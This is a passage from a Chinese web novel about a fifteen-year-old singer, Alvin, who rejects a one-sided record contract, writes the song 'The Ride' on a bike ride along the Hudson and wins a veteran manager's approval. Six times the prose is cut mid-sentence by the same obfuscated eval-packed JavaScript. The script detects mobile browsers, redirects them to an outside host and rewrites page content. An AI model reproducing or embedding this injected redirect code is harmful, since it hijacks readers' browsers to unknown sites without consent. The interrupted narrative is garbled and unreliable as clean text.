“这是一个机会，孩子，你离超级巨星只差这一步。”巴里·威尔斯笑容满面，用那种满含引诱的语气。 “也许吧。”阿尔文不接话，也丝毫没有要接过笔的意思，而是不紧不慢地又翻看了一遍合同，把自己最关注的几个条款记在心底，然后才合上文件抬起头，蓝眼睛直视对面的巴里·威尔斯，毫不躲闪。 “我确实需要一份支持，但是这份合同似乎想把我整个人买断。” 这么直白的挑明让在场所有人都是一愣。 巴里·威尔斯表情倏地变得冷硬：“你知道有多少人想要坐在这里吗？” 阿尔文丝毫不为所动：“我知道，我当然知道这个机会有多宝贵。但我不会在一份丝毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177990|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不尊重我的合同上签字。” 这句话一出，会议室内的氛围直接降到冰点。 巴里·威尔斯靠回椅背上，冷笑一声，不再说话。 阿尔文仍旧表现得非常冷静，并没有因为这过于凝滞的气氛就感到焦虑或不安，甚至有些自得于自己的坦率。 是的，他确实很需要一个机会，但这不意味着他要出卖自己。阿尔文在刚刚的谈判里感受不到任何尊重，只看到了一群成年人在仗着自己的身份资历向一个孩子施压，这让他非常不适，并且决定不陪这群人继续玩这种无聊的、令人厌烦的游戏。 你可以认为这是傲慢，但阿尔文就是这样一个人。 他可以接受自己对自己苛责，但不能接受别人的质疑。 阿尔文还穿着那身简单的白衬衫，几缕碎发垂落在额前，看起来清纯又无害，但这下可没有人会认为他是个好捏的软柿子了。 这孩子简直完全不按常理出牌啊！ A&R总监咳嗽两声，上前打圆场：“没有哪份成功是不需要代价的，孩子，新人时期总是要过得困难点。你要知道，公司也有自己的考量，毕竟绝大多数新人前期都会亏损。哦，对了，据我所知，你和后街男孩的成员们是朋友？” 阿尔文点点头，猜到了他可能会说什么：“是的，先生。” “那你肯定知道他们的合约内容吧？实话说，他们签的也是这个版本，而且还要五个人均分。”A&R总监点了点手边的文件，“每个人都是这样过来的。” 另一个一直没说话的法务接话：“但我们可以给你更多的让步，比如版税，可以提高到8%。这对新人来说是一个非常高的数字了。” “这样吧，让我们直接点。”阿尔文不想再继续兜圈子或者接受这些谈判配合：“无论我今天答应了什么样的条款，都没有太大意义，因为你们还需要我父母的签字，而他们不会同意的。所以让我们直接点，谈谈对彼此的要求。” 趁着其他人面面相觑的时间，阿尔文流畅地继续说下去：“我对预付款并没有太多的想法，甚至你们不给都行，版税5%也不是不能接受，合约年限、宣传预算这些内容也可以再谈，但我对合同里的版权归属和专辑控制权有要求。” 这样的谈判技巧简直烂透了！ 15. 拉扯 甚至不给都行？ 他们从来没有见过敢这么说的人，绝大多数新人都会努力争取更多的预付款，而这个年轻人居然说不给都行？太荒谬了…… 没有人会在刚开始就把底牌全部亮出来，这小子简直毫无顾忌，他到底哪来的底气敢这么说？ 但巴里·威尔斯反而觉得有点意思。 他冲着阿尔文摆摆手：“你说。” “我要保留我自己歌曲的全部词曲权和母带控制权。” 蓝眼睛直视着巴里·威尔斯，里面是坚定和毫不退让。 在目前的音乐行业里，绝大多数歌手都无法得到自己歌曲的版权。即使是唱作型艺人，也因为过于畸形和严苛的剥削条约而得不到自己歌曲母带的控制权。 “我相信Jive唱片的制作团队，但对我来说，音乐就是我生命的一部分，我希望可以创作出我自己的歌曲，也许它们可能不那么受欢迎，不那么火爆，但那也是我自己的心血，我要确保自己拥有它们。” 阿尔文希望能够制作自己的音乐，自然不能接受自己千辛万苦创作出来的作品掌握在别人手里，被随意使用。 全部词曲权和母带控制权？ 简直闻所未闻。 在场所有人都是音乐行业的精英，自然明白母带对于唱片公司来说有多重要，它相当于一个能下金蛋的母鸡。混音、再版、授权给电影广告……只要拥有母带，就可以获得源源不断的钱。没有哪家唱片公司愿意放弃，是他们紧紧握在手里的核心资产。 词曲权倒是有部分艺人可以获得较大的比例，但那也是知名艺人。 这小子到底哪来的底气？ “不可能。”巴里·威尔斯摇头：“我可以现在就告诉你，这不可能。连麦当娜现在站在这里，我也只会说不可能。” 他们宁愿放弃一个有才华的新人，也不可能破坏公司和行业内部的潜规则。 出乎意料的是，阿尔文这时候又表现出来与刚才完全相反的柔和。 “好的，那不如我们各退一步？”他扬起一个堪称甜蜜的笑容，眉眼弯弯，漂亮澄澈的蓝眼睛里满是无辜，散发着真诚和友善：“威尔斯先生，我是真的很珍惜这个机会。” 如果忽略他一分钟前还在用这张脸说出一些令人瞠目结舌的宣言的话，看起来确实很无辜了。 巴里·威尔斯被气笑了，他自然看出了这小子的谈判套路：“你可以退让到什么地步？ 阿尔文眼睛里都是狡黠：“全部的词曲权和母带的销量触发回购权。除此之外，其他全部条款我都可以退让。” 这其实才是阿尔文最开始就想好的条件。 “如果我不同意呢？” 这次阿尔文答得毫不犹豫：“那我就找一家同意的。” 巴里·威尔斯不想再继续说下去了，他觉得这孩子简直幼稚到可笑。 “年轻人，谈判可不是这么谈的。”他看了眼手表，站起身：“这份合同两周内都有效，你可以找你的父母好好看看，或是找个专业的经纪人，会谈判的那种。但过了这个时间段我们可不会再等你。考虑清楚，孩子。” “机会错过了，可不会再来。” 留下了一句意味深长的话，巴里威尔斯转头就走。 事实上，他今天来这里确实只是为了表达出对新人的重视，但并没有真的打算当场就把人签下来。一般签约的流程都需要一到两个星期，而且阿尔文还是个未成年，除了本人同意外，还需要父母监护人签字并且提交法院备案，周期更长。 他虽然离开，但很明显，jive唱片表现出来的并不像执行总裁所说的那样，并不在乎阿尔文的去留，反而留下了很多人来轮番给他做思想工作，恩威并施。 等到阿尔文终于以要赶紧回家和父母沟通抽身时，已经很晚了。好在公司也不是没有良心，专门叫了车要送他回去，阿尔文并没有拒绝。在他拉开车门准备坐进去时，突然听到有人在喊他的名字。 “等等，迈瑞克先生，等我一下。”喊话的是约翰·乔尔， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177991|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他推开公司楼下的玻璃大门匆匆赶来，有些愧疚地对阿尔文说：“我很抱歉，我以为他们会给你条件更好的合同。” 阿尔文刚开始还没搞明白发生了什么，差点脱口而出一句这和你有什么关系，但稍微想想就猜到了约翰·乔尔在想什么：他把刚才谈判中的施压当作是他自己的责任了。 难怪当初会是他来给自己面试，这种性格和看眼色的能力在公司肯定会被边缘化啊，甚至还不如他一个中学生。自觉更加成熟的阿尔文叹了口气，安慰约翰·乔尔：“乔尔先生，我很好，也没关系，这只是签约前正常的拉扯而已。” 约翰·乔尔还有些担忧：“那接下来你打算怎么做？” “怎么做？当然是找专业人士帮我把关。”他可不会愚蠢到认为自己可以和一家公司对抗，专业的事情就要交给专业的人做，这是阿尔文一贯奉行的原则。 “你说的对，让你的父母帮你找一个靠谱的律师，还有经纪人，最好也要提前接触。公司内部提供的经纪人虽然也能用，但你知道的，他们都会站在公司立场上。”约翰·乔尔犹豫了一会，还是说道：“如果你有需要的话，我也可以给你介绍一个很不错的经纪人。” 阿尔文能听出来他语气中的关心，对于仅仅见过两面的人来说，已经相当真诚，这也是他最近收获最大的善意：“谢谢你，乔尔先生，不过我已经在接触一个非常厉害的经纪人了。” “真的吗？”约翰·乔尔为他高兴。 “是的！那有点难，但我现在正在努力写出满意的歌曲说服他和我签约。如果顺利的话，我们很快就会再见面。而我很确定到时候你肯定会很惊讶！”在刚刚的会议室里表现得非常冷静的男孩终于露出了些许符合他年龄的稚气。 约翰·乔尔：“听起来确实很厉害，你让我开始期待了。祝你好运，迈瑞克先生。” 阿尔文蓝眼睛亮闪闪的，满是憧憬与信心：“我会的，就像之前的每一次那样。” 他会用自己的音乐证明自己完全值得。 16. 考验 要用歌曲说服经纪人和自己签约这件事来自于他的父亲理查德·迈瑞克。 在上次的电话中，理查德答应了会帮他寻找合适的经纪人，并非常迅速地在两天后就回拨了阿尔文的电话。 “我在目前行业内我能接触到的所有经纪人中找了一圈，终于找到了一个非常合适的人选。”理查德在电话那头难掩兴奋，絮絮叨叨地说：“他很有名，有实力，有资源，带出过很多厉害的歌手，而且还有相当不错的人品，当然，远远达不到圣人的水准，只是在这个圈子里还算不错。” 阿尔文耐心地等他说完，才问：“所以呢，他的要求是什么？” 天上没有掉馅饼的事，这么厉害的经纪人必然不可能毫无要求。 “你问到了点子上。”理查德道：“他的年纪有点大，最多只能再带你两三年。而且要想签约，你必须写出一首能令他满意的歌。” 最后一句话才是重中之重。 给自己的孩子找经纪人自然要精挑细选。和平日社交时百无禁忌的风格不同，理查德拿出了百分百的专注和精力。 首先要排除人品不好的。虽说在这个光鲜亮丽的圈子底下不知道容纳了多少肮脏污秽，但能规避就尽量规避，比起真的成为巨星，理查德更希望阿尔文可以开心地做他想做的音乐。 那么经纪人的实力和资源也格外重要。这也是理查德率先排除自己的原因。他对自己很有自知之明，虽然也在好莱坞混，但从经纪人的水平角度来说并不顶尖。如今能够名利双收有一定地位，更大的原因是他在茱莉亚罗伯茨籍籍无名时，便压宝压中了这个如今好莱坞的当红女星。 此外，影视资源和唱片公司并不互通，哪怕有交流，但理查德并不认为自己能比任何一个专业研究音乐行业的普通经纪人要更厉害，更得心应手。 在一系列略显苛刻的条件筛选下来后，理查德终于找到一个非常合适的人选。 但问题来了，对方不想要再签新人。 这个人就是卡拉格·休斯顿，美国唱片行业元老级人物，自己经营着一家个人经纪公司，与各大电视台关系深厚，在唱片协会中也有属于自己的一席之地。他个人擅长长期职业规划，分成合理，还会在合约中加入创作保护条款，在乱象丛生的行业内算得上不错的合作人选。 但相应的，卡拉格·休斯顿也十分挑剔，挑剔到甚至傲慢，只愿意花时间和那些有着顶尖天赋的艺人打交道。 理查德本来和卡拉格·休斯顿没有任何交集。但幸运的是，他认识一个卡拉格的长期客户：莱昂纳尔·科米，对方曾经欠他一个人情。在理查德找上他时，也挺喜欢发掘新人的莱昂纳尔便爽快地答应了帮忙。 卡拉格刚开始并不打算答应。 他今年已经62岁了，在这个领域已经做到了顶尖，无论是金钱和名誉都享受过，并不想在即将退休时冒这个风险和精力去签新人。 “那太耗费精力了，迈瑞克先生，你也是经纪人，肯定明白那需要付出多少时间，而我这把老骨头可经不起折腾。”白发苍苍但仍旧精神矍铄的老头抽着雪茄，慢悠悠地说：“你要考虑一个老人家迫切需要休息的心情。” “休斯顿先生，我知道您的退休计划，但是相信我，这个孩子的天赋绝对会让你满意。”理查德克制自己想要把阿尔文吹得天花乱坠的欲望：“他是个真正的天才！” 他平时和各大制片人谈业务时什么话都能吹得出口，但在卡拉格·休斯顿这里收敛很多。不仅是因为对方的资历，更因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177992|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为作为父亲，他和阿尔文高度绑定，自然生怕自己给对方留下油腔滑调的负面印象，影响了卡拉格对阿尔文的评价。 卡拉格最终还是没有拒绝。越是在名利场经营就越是了解人情往来，他不可能会落莱昂纳尔的面子，听个demo的时间还是有的，大不了之后婉拒就好。 他抖了抖掉落的烟灰，接过了理查德递过来的简历和demo。附带还有一张照片。 有点模糊，卡拉格随手拿起手边的眼镜，眯着眼仔细打量。在看清阿尔文的第一眼，他的表情不是惊艳而是皱眉，直言不讳：“他太漂亮了。” 任何事物都有两面，漂亮可以带来名气，也可能意味着麻烦。 理查德完全明白卡拉格是什么意思，他的语气更加恳切：“这就是为什么我会来找你，先生，我充分地信任你的能力和品行。而作为一个父亲，我也希望阿尔文可以拥有更好的职业生涯和规划。他是真心喜欢音乐的，也值得一个更好的未来。” 卡拉格皱着眉又抽了一口雪茄：“他人呢？” “他在纽约读书，上高中，和她母亲一起生活。” “好吧，年轻人，”卡拉格放下老花镜，“我之后会听听这个小家伙的歌。” 到最后卡拉格也没有给出明确答复。 就在理查德以为没有下文，准备放弃后，突然在第二天晚上八点左右接到了卡拉格的电话。 “迈瑞克先生，我承认你的儿子很有天赋，也确实让我升起了一点兴趣。但那不足以让我放弃我的退休计划。所以请你转告他，如果他能在一周内，给我一首足以打动我的歌，我就会认真考虑这件事。” “自己写，完全原创，不要借助任何一点外力，你们都知道我能听得出来。” 17. 我在飞 “他还说了什么关于歌曲的要求，像是歌词、旋律、风格？快告诉我！”阿尔文迅速把话筒夹在肩膀上，从背包里翻出随身携带的用来记录灵感的本子和笔，迫不及待地想要记录下具体的要求。 但理查德说：“没有要求。” “没有？不可能。”阿尔文表示怀疑，他蹙起眉毛催促道：“你再想想，是不是你听不懂，所以以为没有？” 理查德：“真的没有，那就是全部了，这才是考验所在。你要在没有任何提示的情况下，揣摩卡拉格的喜好并写出让他满意的歌。” “好吧。”阿尔文不置可否：“我知道。只是觉得你会遗漏，所以不放心再确定一下罢了。” “我在你心里到底是多不靠谱的形象？”理查德差点气笑。 但阿尔文已经哐的一下挂了电话，完全不在乎理查德在对面会怎样跳脚。 他们父子俩的关系一直都这样，理查德可能会是一个很好的朋友，但绝对不是合格的父亲。所以为了让自己好受，阿尔文早早地就学会了把父亲当兄弟，并用“兄弟情义”来道德绑架对方。而很明显，这比父亲的责任更有用。 没再管理查德，阿尔文开始全神贯注地写歌。 在制作之前，他首先必须先搞清楚方向。卡拉格给的考验是写一首让他满意的歌。但怎样才能算满意？商业潜力？艺术深度？还是要有个人特色？ 完全的开放式命题，他可以写任何感兴趣的东西，但是如何写得精彩、写得让人产生共鸣，就成为了重中之重。 作为业内传奇经纪人，往来合作的都是行业内最顶尖的音乐制作人，阿尔文不认为没有系统学过编曲的自己可以写出令他惊艳的新潮风格。所以必须找到一个捷径，一个只有他才可以走的捷径。 空想想不出成果，阿尔文便跑到音像店，把和卡拉格·休斯顿合作过的艺人经典作品一口气全部租下，然后花了一整个下午，按照不同风格流派一个一个听完。 密密麻麻堆成小山高的磁带和CD占据着房间的地面。 阿尔文愁眉苦脸地坐在桌前，黑发被他挠得乱糟糟的，铅笔在指尖旋转，眼前的稿纸上却仍旧一片空白。 爱情？不行。 社会批判？不行。 复仇自毁？更是不行！ 这些都是磁带里歌手们写过的内容，但几个单词在稿纸上统统被铅笔狠狠涂成全黑，率先排除。 因为阿尔文写不出来。人写不出来自己认知以外的东西。 “……完全没有头绪。”他困扰地叹气，只觉得脑子里一片混沌，指节轻揉着太阳穴，试图把灵感揉出来，但很可惜，什么都没有。 空空如也。 在折磨了自己两天后，阿尔文终于决定给自己稍微一点喘息的空间。与其把自己关在房间里什么也写不出来，不如出去散散心。说干就干，他不顾正中午的太阳，骑着自行车就往外走。 太阳高高地挂在天边，毫无顾忌地散发着热量。 刚开始的阿尔文并没有目的地。 他只是漫无目的地骑行着，路过繁华的广场大街，也只是匆匆掠过，心不在焉，脑子里仍然在想着该写什么样的旋律才能让卡拉格满意。 民谣？乡村？或者流行？唯一能确定的是嘻哈和摇滚绝对不会被采纳。 这种落不到实处的情绪实在令人抓狂。可是不想反而更糟。一旦停止思考要写什么歌，那些潜藏在心底的声音就会抓住可乘之机，突然冒出来对他大肆嘲笑。 嘿！阿尔文！你写的歌就是shit！还指望着用这个打动卡拉格？你确定他会喜欢你写的那些没有营养没有内涵的口水歌？ 烦躁的情绪上涌。他猛地加快速度，高级山地车的速度飙升，让周围的一切都变得模糊，只剩下大片大片的色块，随着不断前行而被甩到背后。 我要去哪里？他问自己。 可过于匆忙的出门导致他根本没有想到目的地。因为写不出想要的音乐而模模糊糊的脑子现在同样模模糊糊地给不出一个答案，只能在遇到路口时才开始犹豫。 呃，左转？还是直行？天呐我应该上一个路口就右转去中央公园的！阿尔文犹豫着做出选择，又在每一次选择过后开始怀疑这条路对不对，是他要去的地方吗？可他根本没有目的地，又何来的对错与否？ 明明车速飞快，他却总有种错觉，仿佛自己一直停滞不前。 这感觉实在太熟悉，阿尔文自嘲地想，这不就和他这段时间的生活一样吗？ 到后来，发现越想脑子越乱的的阿尔文干脆完全把方向交给本能。 他只知道自己在路上，但路在哪里不再重要，他也不再关注旁边的景色，只是逼迫着自己专注于骑行这件事本身。非常专注。甚至算得上泄愤，将这两天毫无灵感而浪费掉那么多时间的郁闷和烦躁全都发泄出来。 宽松的T恤被汗水浸透黏在后背上，但迎面而来的风又呼啦啦从领口下摆灌进去将它吹干。 在骑行不知道多少公里后，阿尔文已狼狈不堪。 不知道是因为高强度的运动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177993|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是高热量的温度，原本白皙的皮肤现在一片通红，黑发已完全湿透，凌乱地黏在额头和后颈上，整张脸都是汗。 但他在笑，非常开心地笑，即使自己没有意识到。一双蓝眼睛亮得惊人，仿佛也被汗水洗净，闪闪发光。 因为当你全身心沉浸于其中的时候甚至感觉不到累，只觉得无比痛快。哪怕小腿肌肉酸痛像是被火灼烧，手掌也因为过于用力而被磨得麻木，但比起精神上的兴奋感，简直不值一提。 过于愉悦的心情让阿尔文越骑越快。 他弓起背，握住车把手用力地蹬踩着，到后来世界仿佛只剩下呼啸的风、粗重的呼吸、高频率的心跳，还有前方不断延伸的路。 我在前行，他无比清楚地意识到这一点。 我在前行！ 在这一刻，阿尔文仿佛忘掉了所有的烦恼，只是专注地沉浸在这无我的世界中。 独自面对不平等合同条款的压力、顶级经纪人带来的苛刻考验、对母亲到现在也不愿意交流的难过、对未来的担忧和恐惧、对自己的怀疑……焦虑、痛苦、数不清的负面情绪在这一刻短暂地被抛弃。 他眼中只有眼前的路，只剩下纯粹的向前的冲动。往前走！就只是向前！一直一直往前走！ 而这股冲动在他的脑袋里越来越强烈。 直到前方突然出现一个大幅度的陡坡。在这种冲动下，阿尔文不仅没有减速，反而俯下身，让身体几乎贴住车架，就这么放任自己随着山地车一起冲下了陡坡。 他知道很危险，但他选择放任，并为这种刺激的冒险而情不自禁地欢呼：“我在飞！” 车轮腾空的一瞬间，阿尔文甚至觉得自己像是长了翅膀，整个人完全飞在空中。那股轻飘飘的，没有束缚感的错觉实在令人着迷。 但是下一秒，重力又拽着他狠狠向下。 风呼啦啦地灌进领口，把衣服吹得猎猎作响，在这一瞬间，阿尔文的脑子里突然迸发出一段旋律。 那旋律和他强烈的心跳、和他粗重的喘息、和呼呼的风声、和自行车链条刷啦啦高速抽动的声音混合在一起，在他的脑海里越发明亮，越发突出，到最后简直就要跳出来！ 他几乎能触摸到那段旋律！ “我知道我要写什么了！” 心中涌起一种奇异的畅快，好像之前被蒙在云层里，但此刻，那些代表着悲伤、焦虑、怀疑的云全都被这风吹走，被吹得无影无踪。 阿尔文发声大笑，挥舞着拳头兴奋大喊：“我知道我要写什么了！” 18. 寄出 然后下一秒，就因为双手放把差点一头栽进旁边的河里。 “……该死！真见鬼！”勉强稳住车子，惊魂未定的阿尔文猛地按住刹车，双脚踉踉跄跄地踩住地面，还差点因为腿软一下子跪在石子路上，好在最终没有酿成惨剧。 不知道是热的还是吓的，他的心脏砰砰跳得飞快。直到缓过神，闻到风带来的河道潮湿气息，才意识到自己居然不知不觉中骑到了哈德逊河旁。 1995年的哈德逊河还有些寂寥。这条沿着纽约曼哈顿一路蜿蜒向下的河流在几十年间一直被作为垃圾污水的倾倒处，污染严重。不过随着近年来不断加码的治理活动，部分区域已经恢复了清明。据说市政部门最近还有计划在这附近修建一座公园。 但那和阿尔文无关。他平日里骑行一般都只在住所附近，偶尔拓宽范围，也最多只到中央公园。 这可以算是他第一次近距离观察这条河流。 宽阔的河道在右侧铺展开来，中午的阳光耀眼，洒落在水面上，泛起碎金般的光芒。遥远的地平线附近有巨大的渡轮轰鸣着缓缓移动。头顶绿树的枝叶交错，阳光从夹缝中艰难挤下来，落在阿尔文的脸上。随着轻柔的微风吹过，那细碎的光斑也闪耀着，明明暗暗地扫过他的脸颊。 所有交错的情绪在这广阔的自然面前似乎也都变得不值一提，那些梗塞的、难以言喻的滞郁之气也消散如烟。 最起码阿尔文现在有心情欣赏眼前这静谧祥和，闪着光的美景。 这是他这段时间来，第一次感觉到放松和可控。 他能感觉到自己在路上。 —— 等回到家，阿尔文迫不及待地便冲进房间，开始就着钢琴写下自己脑海里出现的旋律。甚至不用思考，音符便一个接一个地从琴键上蹦下来。他一边重复着，一边在纸张上飞速地涂画，生怕遗漏掉了任何一点灵感，直到写满整整一面乐谱时，才堪堪停手。 那种畅快的、酣畅淋漓的感觉实在让人上瘾。 等到他停下后，还有些恍惚。 上帝啊，这实在太美妙，仿佛灵感缪斯掌控了他的大脑，带他徜徉在音乐的殿堂中。 缓了好一会，他才回过神来，开始思考如何将这些旋律变成一首完整的成品歌曲。 卡拉格休斯顿的审美相对来说比较统一，只要仔细研究他带过的艺人就不难发现，这个传统的经纪人更偏好结构清晰、副歌抓耳，且带有黄金年代经典感的旋律。 例如莱昂纳尔的歌就很符合。他的歌曲中往往只会使用钢琴或者吉他这样基础性的乐器，从而突出歌手本身悦耳的嗓音，旋律简单又优美，加上充满叙述感的歌词，非常有利于传唱。除了副歌会有些许变化外，其他的编排都不具有实验性，甚至算不上新颖。 所以阿尔文也不打算过多创新，他选择了最最经典的三段式结构，主歌、预副歌、副歌这样的编排。 其他方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177994|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，阿尔文纠结了一下，还是没有选择找乐队或者认识的音乐制作人进行加工，反而保留了自己制作的这一份虽说有些粗糙，但完全能听得出来的真诚的版本。 他拿着录好的磁带自言自语，上面黏着的黄色便签上用黑色油性笔一笔一划，端正地写着自己的名字，还有这首歌的歌名《TheRide》（旅程）。 这就是阿尔文最终定下的主题，旅程。 生命不就是一次旅程吗？他的音乐道路也是如此。那些触手可及的梦想，似乎永远也无法到达。但他不会停下脚步，不会放弃尝试。因为这就是旅程的意义，只要一直在路上，就会有希望。 真正的成长不是逃避，而是正视自己的每一个选择，它们构成了那些不够完美却充实的人生。 过程比结果更重要。 “这就是我能做到的全部了。” 在邮寄窗口最终寄出这一版demo前，阿尔文还有些依依不舍，他看着那个包裹被工作人员收走，想象着它会如何辗转移动最后到达目的地。 “祝你好运，也祝我好运。” 而很明显，幸运女神在此刻降临在这一瞬间。 在一个星期即将结束前，这份demo终于在规定时间内交到了卡拉格休斯顿的手里。 他在自己的办公室里，屏退无关人等，独自试听完整首歌，闭着眼睛沉默良久后，还是叹了口气。 “你赢了，小子。我答应了。” 19. 我接受 在做出决定以后，卡拉格·休斯顿作为好莱坞顶级经济人的效率是惊人的。短短的一天内，他就准备好相关事宜，并打算带着自己的专业团队从洛杉矶赶往纽约。 原本于情于理都应当是阿尔文去洛杉矶。毕竟两人一个是新的不能再新的新人，一个是叱咤商场多年的老人，但卡拉格休斯顿不想来那一套。 他的精力有限，打算飞到纽约，一次性把和阿尔文签约以及唱片公司的事情全都解决掉，还一口回绝了阿尔文要去接机的提议。 “时间就是金钱，小子，不用跟我来这套，我有私人飞机，也有专门的人接待，你只要在约定好的地方等着就行。” 所以最后他们的见面约在了卡拉格经纪公司纽约分部的办公室。 在被助理引进办公室前，阿尔文还十分紧张，但没想到先看见的居然是许久未见的父亲，理查德·迈瑞克。 原本有些忐忑的他在看到那个熟悉的身影后，忍不住发出灵魂拷问：“你为什么会在这里？” “嘿，这是你和大功臣说话的态度吗？而且如果我不来，你要让谁答应和卡拉格休斯顿签约，你的妈妈吗？” 理查德坐在沙发上，同样穿着一身笔挺的西装，容貌英俊，风度翩翩，嘴角带着笑容，一副游刃有余的模样，但嘴巴里说着的话却没有正形：“你需要我，阿尔，我现在可是你的救星。” 这么多年这家伙真是一点没变。忍不了一点的阿尔文当场翻了个白眼：“闭嘴吧，先生。我希望你还记得你是一个监护人，负有监护一个未成年的责任。” 但实际上的监护效果大家都心知肚明。 被戳到痛处的理查德悻悻闭嘴。 没等他们继续下一个话题，另一个主人公就姗姗来迟，身后跟着助理。 两个人不再拌嘴，立刻同时站起身迎接。 卡拉格·休斯顿和新闻上的照片并没有太大差别。六十多岁的老人穿着黑色的定制西装，手里拿着一根黑色檀木手杖，不过根本没派上用场，他自己便大步流星地走过来。脸上虽布满岁月的皱纹，但却仍旧精神矍铄，眼神锐利清明。 “坐吧。”卡拉格挥了挥手，将西装外套解开两颗扣子，在宽大实木办公桌后的真皮沙发上坐下。 他点燃雪茄，烟雾在空气中萦绕，将几人都笼罩在其中。过了几秒才开口，开门见山，直接切入主题：“阿尔文·迈瑞克，我听了你的歌，不错的旋律，但你知道我为什么会答应这件事吗?” 对卡拉格·休斯顿的仅有了解都来自于新闻报道和理查德的情报，阿尔文的态度非常谨慎，不太确定地说：“因为它很有潜力？” “不，有潜力的人太多了，我答应的原因是因为，”卡拉格用手指在虚空中点了点阿尔文，“因为你很聪明。” “我喜欢和聪明人合作。” 《TheRide》这首歌很安全，很符合他的审美，也确实很有潜力，注定有大爆的潜质，但真正打动卡拉格的是另外的东西。 “我能从这首歌里能听出你的思考，虽然在我看来非常幼稚。但可惜的是，这么简单的道理也不是人人都懂的。” 卡拉格说：“和艺人合作有的时候也是一场赌局，甚至是豪赌。我在这行干得够久，也见过够多出名后就把自己的人生毁掉的蠢货。刚开始签约的时候个个都表现得人模狗样，但稍微有了点名气？哦，见鬼！就像脑袋被驴踢了一样，酗酒、吸drug，混｜黑……最重要的是，他们后来写的歌通通都是该被狠狠丢进垃圾桶的垃圾！” 他深吸一口烟，又缓缓吐出，像是想起了什么糟糕的回忆，连表情都变得嫌恶。 “自那之后，我就发誓再也不把我的时间和精力浪费在那样的人蠢货身上。” 但紧接着，卡拉格话锋一转，对着阿尔文满意地笑了：“而你的歌，真不敢相信，我带了几十年艺人，第一次见到一个十五岁的小子能说出像样的话。” 大家都是从青少年时期过来的，自然都明白这个年纪的孩子脑子里在想什么，但阿尔文却能写出这种稚气，但带着思考和少年人无畏的歌词，属实难得。 这恰恰戳中了卡拉格·休斯顿的审美。 幼稚并不可怕，反而可以成为营销点。 最重要的是艺人本身得有脑子，那颗顶在脖子上的东西不能是个装饰！ 阿尔文自然听出了话里的赏识，内心非常高兴。比起当时和jive高层会面时装出来的激动，他现在可要真情实感太多。但又怕表现得太激动会显得不够成熟，只好压抑住兴奋，尽可能矜持地表示感谢。 “好了，别浪费时间了，让我们尽快进入正题。”卡拉格不喜欢搞这些虚的，他从旁边的文件堆中抽出一份早就准备好的合约，两份，示意助理递给二人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177995|180813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一直在旁边尽职装作一个美丽哑巴花瓶的理查德·迈瑞克终于开始发挥作用，仔细地翻阅起来。 阿尔文原本也打算看，但被卡拉格突然叫住。老人将快要燃尽的雪茄按灭在烟灰缸中，身子前倾，眼神像刀子一样盯住阿尔文。 